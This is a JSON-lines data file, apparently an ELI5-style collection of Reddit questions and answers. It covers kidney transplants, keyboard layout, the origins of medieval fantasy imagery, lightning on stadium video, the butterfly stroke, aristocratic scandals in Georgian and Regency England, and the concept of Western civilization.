"No. As someone else said, guards were not police. Guards pretty much did exactly what their name suggests; they guarded people and places. I can't say that no guard ever walked on rooftops, but it definitely was not common practice. The game probably did this more for balancing and gameplay purposes, rather than an accurate portrayal of guards throughout history. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1ky0dv", "title": "When someone gets a transplant of an organ that they have two of, like a kidney, does the new organ have to come from the same side of the donor's body as the one it's replacing?", "selftext": "I mean in a lung transplant I can understand why it would matter because a right lung in the left side of the body would be in the way of the heart, but what about kidneys?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ky0dv/when_someone_gets_a_transplant_of_an_organ_that/", "answers": {"a_id": ["cbtu7sw"], "score": [69], "text": ["Doesn't matter. They don't even put a transplanted kidney anyplace near the original location, anyway, and usually don't remove the old kidneys either. See [this image for a good example](_URL_0_). \n\nWhich side they transplant a kidney to depends really on the surgeon's preference or the recipient's anatomy, and not on what side the organ came from in the donor. [source: I am a kidney recipient]\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.arizonatransplant.com/images/kidney_large_2.JPG"]]}
{"q_id": "2gw9ms", "title": "why do i have to press shift to type a \"?\" it's on the same key as \"/\" which i use about once a month.", "selftext": "Whats up with that???????", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gw9ms/eli5_why_do_i_have_to_press_shift_to_type_a_its/", "answers": {"a_id": ["ckn3l6u", "ckn3n27", "ckn3t7o", "ckn99he", "cknfqrk"], "score": [15, 7, 3, 3, 3], "text": ["I can't answer your question, but I use the / key dozens of times a day, every day.  The choice had to be made at some point, and that was what \"they\" chose.", "In the day when the choice was made, / was an incredibly common key to type, being used for directory navigation and many other things.", "Thank you, and I just laughed at myself for accidentally using a period instead of a question mark at the end of this post.", "TLDR : Early computer users didn't use the keyboard like you do.\n\nFirst off it depends on your keyboard layout as this changes with regional preferences. In French for example, this is \u00e9 or \u00c9, which are extremely common. \n\nThe first keyboards were copied from the older typewriters layouts which did not support alternative types. They made the choice to cram all the special symbols to the right. This is probably because most people have a dominant right hand and can more easily stretch over them to reach the letters than from the left hand, but who knows.\n\nIt also depends on the usage you have for your keyboard. For the longest time, people have been using a command prompt (the legendary black window with green letters) to do about everything there is to do on a computer (The mouse was only invented decades later). The / key is very useful as it separates the folders. A typical linux user will press this key a gazillion times per day [citation needed].\n\nAlso the rest of the keys available there are very programmer oriented. All symbols on the numeric row are not used as often as the ones on the right in the old programming languages. Some newer programming languages have changed this, but keep in mind that the first keyboards were made in the 1930s.\n\nI'd speculate here that the ? symbol is also very common so it made sense to put it close to the right hand along with the other very common symbols.", "As a programmer, I like this.  Also, I like the placement of the semicolon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1za1ab", "title": "Where do we get our idea of this medieval fantasy setting?(first time poster)", "selftext": "I've been thinking a lot about this, but I've got no historical knowledge whatsoever. I've thought about asking one of my friend who is studying to be an history teacher, but whenever the subject of medieval time comes around he goes on a rant about how ''It wasn't that great! Stop!'' even when we're talking about D & D...\n\nWhere do we get our idea of this medieval fantasy world ala D & D, Game of Thrones, King Arthur,etc? \nAnd is it truly bad to have these stories like that? I know it's important to show people that living in that era would NOT have been fun, but is it so wrong to wish to live in that medieval ''fantasy''?\n\nI'm sure the answer will be no, it's not wrong and yes it's important to know about what really was going on back then, but I'm looking for maybe an interesting discussion on the topic. \n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1za1ab/where_do_we_get_our_idea_of_this_medieval_fantasy/", "answers": {"a_id": ["cfrwd0r", "cfrz7zn", "cfrzm5u", "cfsrgsv"], "score": [33, 40, 11, 2], "text": ["This is most likely due to the Victorians, who not only gave us the medi-fantasy thing but adopted the damsel in distress as their archetype of the passive female. It was a way of applying to a fantasy their feminine ideal. Medievalism enjoyed a huge comeback during the Victorian era.\n\nNow as for the fantasy aspect, I would refer you to Alfred Lord Tennyson's *The Lady of Shallot.* There is a passage near the beginning that refers directly to the use of magic. \n\n\"There she weaves by night and day\nA magic web with colours gay.\nShe has heard a whisper say,\nA curse is on her if she stay\nTo look down to Camelot.\nShe knows not what the curse may be,\nAnd so she weaveth steadily,\nAnd little other care hath she,\nThe Lady of Shalott.\n\nAnd moving thro\u2019 a mirror clear\nThat hangs before her all the year,\nShadows of the world appear.\nThere she sees the highway near\nWinding down to Camelot:\nThere the river eddy whirls,\nAnd there the surly village-churls,\nAnd the red cloaks of market girls,\nPass onward from Shalott.\n\nSometimes a troop of damsels glad,\nAn abbot on an ambling pad,\nSometimes a curly shepherd-lad,\nOr long-hair\u2019d page in crimson clad,\nGoes by to tower\u2019d Camelot;\nAnd sometimes thro\u2019 the mirror blue\nThe knights come riding two and two:\nShe hath no loyal knight and true,\nThe Lady of Shalott.\n\nBut in her web she still delights\nTo weave the mirror\u2019s magic sights,\nFor often thro\u2019 the silent nights\nA funeral, with plumes and lights\nAnd music, went to Camelot:\nOr when the moon was overhead,\nCame two young lovers lately wed:\n\u201cI am half sick of shadows,\u201d said\nThe Lady of Shalott.\"\n\nThere was a book written by an author in 1841 named John Ruskin, *The King of the Golden River* in which a character similar to Tolkien's Gandalf is a large fixture. \n\nLiterature is not the only source of fantasy that we get from the Victorians. I would suggest some research into the fairy paintings of the artist Richard Dadd. He was allegedly schizophrenic but his paintings of fairies and their environments and activities were fascinating to Victorian society. ", "/u/PirateDuchess gave a great answer, but I'd like to deviate and suggest that it's pretty much all Tolkien. While the Victorians were interested in Medieval fantasy, Tolkien created the D & D/Game of Thrones world that we know today. He was explicitly trying to create a mythology for England, a mythos complete with an origin story to match other developed mythologies. Tolkien thought that what we would today call fantasy was unfairly denigrated (see his landmark piece *On Faery Stories*) and was a legitimate form of literature. \n\nTolkien's role as a linguist was of particular import here. Beowulf was not widely studied or appreciated until Tolkien attempted to rehabilitate the work in his *Beowulf: The Monsters and the Critics* lecture. Until that point, Beowulf was largely viewed through the historical lens, and translations didn't attempt to preserve the poetic form on the work. Tolkien viewed Beowulf as a brilliant piece of poetry, and modern translations have reflected his focus on the words and form of the piece. \n\nTolkien's career as a linguist dovetailed with his pursuits in writing to create the mythology seem in *The Hobbit*, *The Lord of the Rings*, and *The Silmarillion*. Modern fantasy writers openly admit Tolkien's influence in mythmaking, if not in form (George R.R. Martin refuses to develop languages in his universe, for example, since he is not a linguist). You asked about Arthur, D & D, and GoT, but the reality is that fantasy is really divided into Arthur-type legends and LotR-like legends. The latter were more consciously created, and the former were more pseudo-historical and gradually developed over centuries. ", "I second PirateDuchess' assertion that it is due to the Victorians, who were fascinated by the medieval period---or at least what they thought they knew about it. They idealized the period and projected their fears and hopes about their own era onto it.\n\nIn the 17th and 18th centuries (The 'Age of Enlightenment', as it is often called) the Middle Ages were seen as a barbaric period which was controlled by corrupt religious figures and institutionalized moral hypocrisy. It was roundly condemned by writers like Voltaire as a terrible period which held human progress back.\n\nRomanticism came along towards the end of the 18th century, and was a reponse to this attitude, as well as a response to the effects of rapid industrialization and loss of rural lifestyles. It was mostly seen in various art forms---architecture, literature, visual arts, etc but also affected popular culture and scholarly writings quite a bit. The term comes from the medieval literary genre called chivalric romances, which had a wide resurgence in the late 18th century. It is from these stories that we get the iconic symbols of the medieval period---a knight in shining armor rescuing a damsel in distress from a dragon.\n\nMedievalism became so popular that it influenced all sorts of things: The illustrations of William Blake, Sir Walter Scott's Waverly novels, Tennyson's poetry, the Pre-Raphaelite Brotherhood, Gothic Revival architecture, Wagner's operas. Medieval national epics like Beowulf and Nibelungenlied were translated into modern languages, widely read, and given scholarly examination, which later led to European monarchs using pseudo-medieval images for propagandic purposes.\n\nAll of this fascination with the medieval period rolled over into the early 20th century into the new medium of film. Many early narrative films were set in the middle ages and told the stories of famous people or characters like Joan of Arc, Robin Hood, William Wallace and more. A lot of the stereotypical images we have in our heads come from films, which were often based on Victorian depictions of the middle ages.\n\n\n\n\n", "I'm curious as to what the link you see between D & D, Game of Thrones, and King Arthur is - to my mind, they are very different!\n\nD & D is a mish-mash of 20th Century swords-and-sandals pulp, Tolkien, erroneous Victorian-era concepts of weapons and armour set in a dangerous world chock-full of fantastic monsters, with Jack Vance's magic thrown in. Magic is everywhere, the superhuman is normal.\n\nGame of Thrones is a political and character drama based on Europe in the 14th-15th century, drawing a lot of inspiration from the Wars of the Roses. Magic is rare to non-existent, the most powerful men are still mere men. Martin has done extensive research on the period to inform his world, so I would argue that his world owes most to European history, and less to literary fantasy antecedents.\n\nKing Arthur lies somewhere between the two, with subtle magic common, but flashy D & D-style magic non-existent. Our modern understanding of King Arthur comes mostly from works based on Le Morte D'Arthur by Malory (which was itself a compilation and elaboration of existing English and French stories).\n\n >  I know it's important to show people that living in that era would NOT have been fun\n\nPeople didn't have iPods, but it was hardly a world of universal and abject misery, as is often presented. The Medieval era includes a vast span of time, and things changed significantly throughout.\n\nFor instance, in England, in the aftermath of the Black Death, came an era of plenty amidst an acute labour shortage, that saw an increase in standard of living, and the beginning of the end of the feudal system. Estimates of per-capita caloric production in England went from barely sufficient in the early 1300s to large surpluses in the late 1300s.\n\nThat same period that was good for common people and workers was much less good for lords, as they lacked the plentiful cheap labour they needed to work their demesnes.\n\nSo it's very important to nail down when, where, and who you're talking about when you say things like that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "z0o2t", "title": "Is fear our bodies warning system?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z0o2t/is_fear_our_bodies_warning_system/", "answers": {"a_id": ["c60gkg1"], "score": [3], "text": ["One of them, yes. Pain is another."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3khc2q", "title": "In this video, lightning strikes a stadium, but the stadium lights up (read: reflects light) slightly before you see the strike. Why?", "selftext": "Video: _URL_0_\n[at 52s]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3khc2q/in_this_video_lightning_strikes_a_stadium_but_the/", "answers": {"a_id": ["cuxh5s6", "cuxh89q", "cuybede", "cuz0bvs"], "score": [2, 5, 3, 2], "text": ["\"Lightening travels in two directions.\nTh cloud base wiil charge up to a huge potential which will draw tracers from ground based objects.\nThese tracers tend to form around pointy things-a rounded point is the best hence the shape of lightening conductors-and form a charged path toward the cloud potential.\nAt some point the tracer gets near enough to the cloud for the cloud potential to draw itself across the air gap which then fires its charge earthwards.\nUsually there are several return strikes as not all the cloud will release its charge in one go,these extra strikes take the already established path down to earth.\"\n\n- Found some some random guy on the internet, but it's consistent with what I know and I don't wanna type it all out.", "Well, while I know what you mean, I think what you're seeing is the reflection of the lightning strike in the seats of the stadium followed by the audio of the thunderclap from the storm system which is very close to the stadium.  The two are not coordinated and that's likely because the storm system isn't yet quite directly over the stadium, but more importantly because the light of the lightning is traveling faster toward the stadium than the sound of the thunder.  The umpire in the shot is clearly reacting to the sound not the light.\n\nEDIT: See comments in this thread for more on the strike at 0:52, which seems like it can also be explained by the light beating the strike.", "I am not examing the film in detail, but after a quick stepping through, I think there are 2 lightning strikes, one before where the bolt is not quite captured but the bright seats are.  Then immediately after the second strike, which is captured.\n\nThis would be due to the fact that we are making finite samples of the images, with a certain frame per second rate. And lighting occurs much faster than these images are taken.\n\nI suppose this is consistent with a bolt 'going up' followed by a bolt 'going down'.", "As a broadcast engineer I would mention a possible video reason. \n\nCMOS sensor cameras use an electronic rolling shutter which does not capture the entire frame at once. It scrolls down the frame. If the strike occurred after the shutter passed the pole the sensor could still pick up the light reflected from lower items. \n\nThe last image on [this](_URL_0_) shows the effect. \n\n"]}, "title_urls": [], "selftext_urls": ["http://m.mlb.com/video/v453710983/?query=oddities"], "answers_urls": [[], [], [], ["http://www.eventdv.net/Articles/ReadArticle.aspx?ArticleID=56033"]]}
{"q_id": "4ldj2t", "title": "how did the butterfly become a popular swimming stroke? it's incredibly inefficient, and is pointless other than racing.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ldj2t/eli5_how_did_the_butterfly_become_a_popular/", "answers": {"a_id": ["d3mfjxn", "d3mfw6k", "d3mhqsm", "d3mjmia", "d3mmn2t", "d3mnl6l", "d3mo8e1"], "score": [10, 73, 21, 7, 4, 2, 2], "text": ["Butterfly is a modification of breaststroke, first with an above water recovery, then later the change to a dolphin kick.  With proper timing it is not difficult to swim.  All the other competitive strokes have integrated the dolphin kick into their races.", "It came from racing.\n\nSwim races in England were originally all breast stroke, but with no rules banning anything else. Then people started doing the front crawl and winning, so they created a new event for that and kept the breast stroke.\n\nSomeone realized that the arm motion of butterfly was allowed according to the breast stroke rules, but much faster, so they started using it (the kick we see today was still banned.)\n\nEventually they just separated it out into it's own event and now you have it.", "It became popular as it's considered the fastest swimming style, but only over sprinting distances.\n\nAnother fun fact, events where swimmers do front crawl are usually called freestyle. Technically you can do the stroke that you want but whereas front call is not the fastest over shirt distances, it is the best over moderate distances. Breaststroke is the least tiring but least fast.", "I've used butterfly swimming outside because I feel that getting up over the waves reduces the resistance. ", "My great-great grandfather, David Armbruster, played a big part in making the butterfly stroke what it is today. He was the head swim coach at the University of Iowa and also trained olympic swimmers. \n\nThe two-legged kicking motion known as the \"dolphin kick\" arose separately from the arm motion. One of his athletes developed the kick as a core strength exercise, and they decided to experiment and come up with an arm motion that would make the kick work. \n\nThe over-arm motion was modified from breaststroke, and technically the original butterfly strike was an over-the arm stroke with a breaststroke kick. It wasn't paired the dolphin kick until 1934, and it was illegal to swim the full stroke in the olympic races. \n\nHowever, the over-arm motion was so much faster than the traditional breast stroke that all competitors adopted it at the highest levels. By 1936, butterfly was classified as a distinct race.", "Did year round swimming for 8 years. Proper butterfly form makes it an extremely fast stroke and actually less energy intensive than other strokes. Knew plenty of kids that could do 1000 meters of butterfly faster than they could freestyle. One girl would swim butterfly in her freestyle events (Which is legally allowed because it actually does mean freestyle in that you can swim however the fuck you want) and wax the competition cause her form was so awesome. 99% of people just suck at butterfly, they drop their legs too deep, they try to come out of the water too far, etc. Form is extremely important with it. ", "Water Safety Instructor (12 years), USA Swim Coach, USA Dive Coach here:\n\nFor personal swimming: Butterfly is a great way to develop endurance.  It will also develop good core strength.  Dolphin kick is the most powerful kick.  The double arm pull is strong and over the first couple strokes might actually outpace as front crawler.  \n\nfor competition: Generally speaking front crawl or Australian crawl is the fastest stroke, but butterfly comes in  second.  It's as inefficient as the swimmer using it.  If you get into a good rhythm and awesome form a 500yd swim in butterfly won't really seem that bad.\n\nIn diving:  I like to make sure my divers have a decent butterfly as its a good method to have them understand driving their body down, keeping knees and ankles together, toes pointed.  It's an awesome way to teach about body mechanics and undulations of the body.  Where the head goes, the body will follow.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8i4aag", "title": "In the early 19th century, aristocratic England seems awash in romantic scandals (the Lady Hamilton affair, Lord Byron, Percy and Mary Wollstonecraft Shelley's exploits). Was this a reflection of changes in aristocratic behavior, changes in the public's appetite for scandal, or something else?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8i4aag/in_the_early_19th_century_aristocratic_england/", "answers": {"a_id": ["dyqdh2z"], "score": [40], "text": ["I love this question!\n\nPart of why the Britain in the early nineteenth century appears to be a watershed of sexual/romantic scandal may have something to do with your own interests, because the decades preceding this time are *also* actually known for it as well.\n\n >  Writing at a particular political and post-war moment, [T. H. White's] vision of late eighteenth-century Britain was suffused with salacious chatter, flirtatious duchesses, errant dukes, misdemeanours, and mistresses, underwritten by confident wealth, rolling acres, and Britannia's sovereignty over the waves. What White identified as the 'peculiar flavour' of this era has become big business in recent years. Colourful stories of gambling, adultery, high spending, and fast living in London's 'world of fashion' have attracted enthusiastic chroniclers, and scores of biographies have been quick to glamorize its lords and ladies.  \n\n(Hannah Grieg, *The Beau Monde: Fashionable Society in Georgian London*, p. 30)\n\nAs Grieg indicates, some of these late-eighteenth-century figures and their stories have become very well-known - though generally not outside the subculture of Georgian enthusiasts.\n\nLady Sarah (Lennox) Bunbury had a secret engagement with the Marquess of Lothian, which she broke off in order to marry an MP in 1762; the marriage did not go well, and several years into it she ran off with Lord William Gordon while pregnant with his child! Eventually she returned to her family and was put in a cottage far from London, waiting for years in exile from fashionable society until her marriage was annulled, after which she was still forced to lead a highly subdued life. Even when she remarried, her reputation never fully recovered. Sarah's friend, Lady Susan Fox Strangeways, had a scandal of her own - she eloped with and married an actor in 1764, and her family insisted that the pair leave Britain for New York. When they returned about ten years later, they were completely unable to break back into London life and went to live in rural Kent.\n\nLike the Bunburys, the Duke and Duchess of Grafton had a rocky marriage. They underwent a formal parliamentary divorce in 1769, both remarrying very soon after (the duchess within days). For some background on divorce in this period, you might want to check out [this recent answer of mine](_URL_0_).\n\nAnother example is that of Lady *Elizabeth* Hamilton. Married to the older Lord Stanley (soon the Earl of Derby) as a debutante in 1774, she ended up in an affair with the Duke of Dorset, and during the ensuing drama and legal proceedings the great question was whether or not the Duke would marry her and keep her part of society. Stanley chose not to divorce her in the end, and she went into exile abroad for some time, having completely lost all supporters.\n\nMary Eleanor Bowes married John Lyon, Earl of Strathmore and Kinghorne, in 1767, and it was unsuccessful: the two cared little for each other, he gambled, and she eventually took lovers. As an attractive, wealthy, young widow in the late 1770s, she was set to marry George Gray, one of those lovers, when a third contender appeared: Andrew Robinson Stoney, the inspiration for Barry Lyndon. Stoney faked a duel and a fatal wound in order to trick Mary into marrying him, then proceeded to be a terribly abusive and unfaithful husband. She eventually sued him for divorce, something typically not open to women, but the case dragged on publicly until her death.\n\nThe scandals around Georgiana, Duchess of Devonshire, in the 1790s were much more muted. Like Elizabeth above, she married an older man at her family's urging (an older man who himself was unfaithful) and then had an affair. She fell pregnant and was sent to France to increase and give birth, then returned. Her husband publicly acted like nothing had happened, which certainly saved her from the kind of scandal and social exclusion that had afflicted the other women I've discussed: \"society\" was already generally aware that lords and ladies who were married to each other often had affairs, and the rumor mill made individuals aware of the specifics at any given time. It was really the reaction of a woman's husband - taking her back or casting her aside - that affected whether or not the fashionable world permanently turned its back on her following her infidelity. (Men, of curse, suffered no repercussions for the same behavior.) Georgiana's sister Henrietta likewise had an unhappy marriage and extramarital pregnancies, and was also kept from social ruin by her husband decision not to pursue a divorce.\n\nI want to emphasize that this sort of thing was not invented after 1760. Lady Mary Pierrepont eloped with Edward Wortley Montagu just before the wedding her father had planned for her to someone else in 1712, for instance, and other female relatives would engage in similarly scandalous marriages. The 1753 Marriage Act was created in part to keep young heiresses from easily marrying less wealthy husbands (or heirs/wives) that their families disapproved of, because it happened. But there is much, much less written about these cases than the ones of the 1770s and 1780s which are part of that fetishized era of \"salacious chatter\", so I have less to say there.\n\nAnd, as you've noticed, this did not stop happening when the century turned. There *is* more written here, since the Regency era (1811-1820, technically, but often the decade on either side is counted as well) is also fetishized as a time of \"flirtatious duchesses, errant dukes, misdemeanours, and mistresses\", which you'll see if you go to any Regency-focused blog or pop history book, with attention lavished on the unsuccessful marriage of George IV and Caroline of Brunswick, any of George's mistresses, the future William IV and Mrs. Jordan, and so on. As with the eighteenth-century cases, these were often very public and well-known, with references made to them in the popular press and in satirical pamphlets and cartoons of the day. You already know this, though! So, what happened to drive romantic scandals underground?\n\nThe roots of the change go back to the eighteenth century. One aspect is the growing emphasis on the inherent softness and sweetness and maternal instinct of women, their duty to get married and bear children and conform to not just standards of propriety and conduct but personality. In *The Making of the Modern Self: Identity and Culture in Eighteenth Century England*, Dror Wahrman points, as an example, to the changes in the way bees were spoken of and referred to over the course of the century, as the queen bee went from a mighty matriarch ruling over warrior females to a helpless egg-layer; Margaret of Anjou was celebrated in the early part of the century, while her fangs had to be pulled and her role as mother-defending-her-son emphasized in the 1790s, and women who chose not to marry went from brave heroes to unnatural monsters. The view of the rest of the family was changing, too, for related reasons. The parent/child relationship - with both mother and father - took on greater importance from the 1770s, with conduct books urging (and private correspondence showing) more affectionate treatment for children from parents rather than disciplinary authority, and more freedom. \n\nWithin a few decades, this was fully a part of normal socialization. A woman forsaking home and hearth for another man outside the bonds of matrimony was not just disreputable but acting against nature and either abandoning her purer feelings or revealing that she didn't actually have any. The royal family no longer ran around with actresses while their wives lived abroad; William IV had settled down faithfully with a German princess during the 1830s, and of course Victoria and Albert would become known for domesticity, both generations setting a \"good example\" for their subjects, particularly the aristocratic ones they were closest to. Illegitimate children and extramarital affairs stopped being treated as a sad reality in fiction and became markers of true sin. By 1836, prime minister Lord Melbourne could face a crisis when he was publicly accused of having an affair - fifty years earlier, it would have just been fodder for jokes in the press. People continued to engage in scandals, but there was little tolerance for them anymore.\n\nTo sum up: rather than society changing before the early nineteenth century to allow or want to read about more licentious behavior, this represents the last gasp of eighteenth-century mores."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8g873q/generally_at_least_in_the_west_when_a_couple_gets/dyb0dlc/"]]}
{"q_id": "9kprmm", "title": "In popular history, Rome and Greece are generally considered to be origins of Western civilisation yet I have seen many historians and academics criticize this idea. What is the academic consensus on this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9kprmm/in_popular_history_rome_and_greece_are_generally/", "answers": {"a_id": ["e7125sc", "e713fap", "e7140ou", "e717511", "e717sz2"], "score": [210, 53, 136, 1178, 126], "text": ["The consensus is that the idea of \"Western Civilization\" itself is incredibly problematic, and drawing connections between modern \"western\" cultures and ancient \"western\" cultures is possible, but you have to be really careful and do good history. That is, you need to make an effort to include the nuances and contradictions within the narrative.  The textbook I'm using right now for my class, Grafton and Bell's *The West: A New History*, puts it succinctly: \"There has never been a single, unified, easily defined place called 'the west'.....Even so, there is something we can call 'the West.'  It is a web of societies, centered in Europe and its extensions, loosely linked by shared and interacting histories.  These histories incorporate debts to other societies around the world and the results of conflicts both internal and global.\"  Pretty broad, eh?\n\nIn other words, you can talk about \"Western Civiliation,\" you just have to be careful.  About what?  Careful that you don't make too strong of a connection where there really isn't one.  Rome didn't control all of what we now call \"the West\", and controlled places that we'd now mostly exclude from \"the West.\"  Islam is often excluded or even set up as a juxtaposition to \"the West\", yet Islamic thinkers were instrumental in carrying on Greco-Roman traditions of science and philosophy after major changes in the Empire.  The Greeks, who used to be held up as the \"western\" standard, the founders of the humanism and democracy that defines the modern West, are being seen more as they really were: an extremely xenophobic, misognynist, slave society that had a highly restricted, if democratic, government.  The bottom line is our society hardly looks anything like ancient Rome or Greece; virtually no one alive today would be super comfortable, or super safe, if somehow dropped into those far more brutal, far more segregated, ancient societies.\n\nPerhaps the biggest problem is the way the history of the west was--and still is by some people--used for a political agenda.  The original purpose of western civ classes was to create a narrative for the non-communist world after the first world war, to indoctrinate, more or less, America's young people into a proud historical tradition.  This is bunk, if you take my previous point: the United States isn't really the inheritor of any Roman or Greek tradition, unless you're talking about the small (albeit important) influences of Roman Law, or representative government (we did call it the \"senate\" after all).  Even worse, some people made it into a race thing, the idea that the ancient Greeks and Romans were \"white\" in the sense that modern white people are \"white,\" and this is just ridiculously anachronistic (see my previous post from a few years ago on the history of race).\n\nAnyway, all this is to say is that the consensus is that it's problematic.  Many historians specializing in Europe will tell you that it's still incredibly important to teach the history of \"the West\" and will point to the various things we do inherit and the ways in which we can teach it properly; many historians of non-western history point to our global/international society and (rightly, I think) express the need to teach history surveys beyond Europe.  In this day and age, many departments only get to force students to take one history class, and more and more are siding with World History.  That's more reflective on the consensus than any argument among European historians.\n\nEdit: Source: Check out Gilbert Allardyce, \"The Rise and Fall of the Western Civilization Course,\" AHR 1982.  It's old but has a decent history of the course.", "Follow up question to this: could someone please unpack the development of the concept of \"Western civilization\" in popular historical discourse? How does scholarship deal with this term and to what extent does it engage with or criticize the notion?", "I've seen a lot of this too, which leads me to a follow up question. When/where did the idea of a \"Western civilisation\" begin?\n\nI know the criticism I've seen of the idea of Rome/Greece being the origins is rooted in the idea that there isn't really a \"Western civilisation\" that has any kind of clear path from then until now. That makes sense to me, but also is very wrapped up in my politics. Not sure where these ideas originated from. Does someone know?", "Ian Morris, in his popularizing history book *Why the West Rules--For Now* had a very good run down of this and the many ways that the idea of Greece and Rome as the fount of civilization is pretty absurd when looked at carefully. I will summarize the points as best I can into four points:\n\n1. It treats Greece and Rome as somehow originators rather than profoundly influenced by outside forces (also as a single unite but we will leave that aside) or, worse yet, as some stage in the \"progress of civilization\" that starts in Egypt, then Babylon, then Rome, etc. But Greek culture was profoundly influenced by its neighbors that were often richer, older, and more sophisticated. For example, every Greece art 101 class will trace the descent of Greek statuary from the [kouroi statuary](_URL_0_) of the sixth century BCE (to anchor your time frame, the Battle of Marathon was in 490 BCE) and how those statues were in turn from [Egyptian predecessors](_URL_2_). Likewise, the practice of bas relief is clearly influenced by Near Eastern predecessors. There are certainly regional variations, but that was not unique to Greece, and you would not confuse the [reliefs at Karatepe](_URL_1_) with those at Nineveh. This went far beyond artistic practice, as Martin West's *East Face of Helicon* demonstrated the influence of near eastern literature, mythology and cultural practice was profound in Greece.\n\n2. A point that I would not be surprised drives medievalists up a wall, it completely ignores the thousand year period between the sack of Rome and Lorenzo Valla. If \"western culture\" is defined by, say, Greek democracy then where was the Greek democracy in the court of Philip the Fair? There are certainly some literary survivals, the *Aeneid* and Ovid were always popular, but virtually the entire corpus of Greek literature was lost except a few Latin translations, and many of the Latin authors we consider exemplars of the Western ideal were basically ignored (Livy, for example). So what you are left with is this millennium long hole, a misguided detour on the glorious march from Sophocles to Shakespeare.\n\n3. It really profoundly underrates just how weird ancient world was to modern eyes. This is something that more modern depictions of the ancient world like HBO's *Rome* have done a good job with, but there is a real disconnect between the classical ideal as shaped by the Renaissance and what the classical world actually was. I think statues are another good example to use: when we look at a Roman marble statue and a Renaissance statue we are tempted to think \"aha, the similarity!\", but that initial reaction is pretty superficial. First, most famously, is the issue of classical Roman statues against pure white Renaissance, as the Renaissance sculptors may have *thought* they were imitating a classical ideal, but that ideal existed almost entirely in their own heads. It goes beyond superficial aesthetics and into the social function of art as well, as there is a temptation to when looking at a Roman statue like the Capitoline Venus to find the artistic intent of the individual creator as you would with a statue of Michelangelo, but what you don't see is that there are just a bunch of those statues, some with variations (particularly in the face) but basically identical. The whole social function and conception of art was radically different (ed: cf Cuomo *Technology and Culture in Greek and Roman Antiquity*). This goes to literature as well, there is a great book called *The Shock of the Ancient* by Larry Norman that points out that, despite the stereotype of ancient vs modern as being stodgy traditionalists vs freethinking visionaries, the flow of classical texts into the courts of early modern Europe was actually pretty destabilizing, and many of the people arguing against the absolutist tendencies of Louis XIV were using these profoundly strange ancient texts to make their point.\n\n4. Finally, and this is the point I feel is the most important, it completely ignores what *most* of the Greek and Roman world were. *Most* people under the Roman empire lived in the east, *most* art and literature were produced in the east, *most* of those lovely statues were made in the east, and *most* of the direct cultural survivals survived in the east. The architectural form of bazaars and suqs are pretty clear descendants of the Roman market, the Turkish bath is built like a Roman bath, the domes of the mosque are the real inheritor of classical temples, not the western European church. To say that the West descends from Greece and Rome is a claim of cultural ownership, to say that the *true* descendants of the glories of the past are the ones who live in what were insignificant outlying provinces, not the actual beating heart of the empire.", "This is a huge and complex question, so my response will be of necessity limited in scope to two main points in reply. \n\nI think there is broad consensus that the West owes a great deal to both Hellenic and Roman culture, not least because the church (in the West) assumed much of the mantle of Roman institutionalism ( see Peter Brown's work for a more detailed discussion) and reproduced it after the end of the Roman period (6th c). And what remained of the literary and scientific tradition of the Helleno-Roman world was to some extent preserved in monasteries across Western Europe, such that it formed the basis of a \"Western\" intellectual tradition, especially after the so -called rediscovery of Aristotle in the 12th c. and extending thereafter (but Islamic scholarship also drew from these traditions so it is incorrect to think that such ideas \"belonged\" to the West). \n\nThe real confusion  is the idea that Roman and Greek civilization were themselves \"Western,\" which is generally understood to be false, or at least greatly exaggerated. For example, insofar as the basis of both was the polis, this was very much a characteristic of Eastern (= middle Eastern) modes of social and political organization. In western Europe, the city was essentially an import from the East, introduced through Hellenic colonies (as in Sicily), or later as part of Roman expansion. We have no better evidence for the foreignness of the city to Western thinking than the fact that cities largely disappeared in the West after the fall of Roman power and didn't really emerge again with any size for centuries (the Italian peninsula being an important exception). In cultural terms, Rome itself was at a western extreme of an axis of learning that extended through what is today southern Turkey and the middle east and into Persia. The great centres of Christian learning, for example, were in what is today the middle east (e.g. Egypt, Israel, and Syria) and Turkey. And many of the modalities that defined Hellenic and Roman life, while completely foreign to the indigenous inhabitants of Western Europe, would have been very familiar to the people living in the Eastern part of the Empire and beyond. \n\nSo a simplistic way of thinking about it is that the Roman empire \"easternized\" western europe, and, as a part of that very process, bequeathed a historical tradition that would later \"westernize\" Rome by bringing it within a way of thinking about western civilization. \n\nSorry, that's not the most complete answer, but maybe it's a start. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://upload.wikimedia.org/wikipedia/commons/6/66/Ac.kleobisandbiton.jpg", "https://www.hittitemonuments.com/karatepe/karatepe35.jpg", "https://upload.wikimedia.org/wikipedia/commons/5/5b/Louvre_E5345.jpg"], []]}
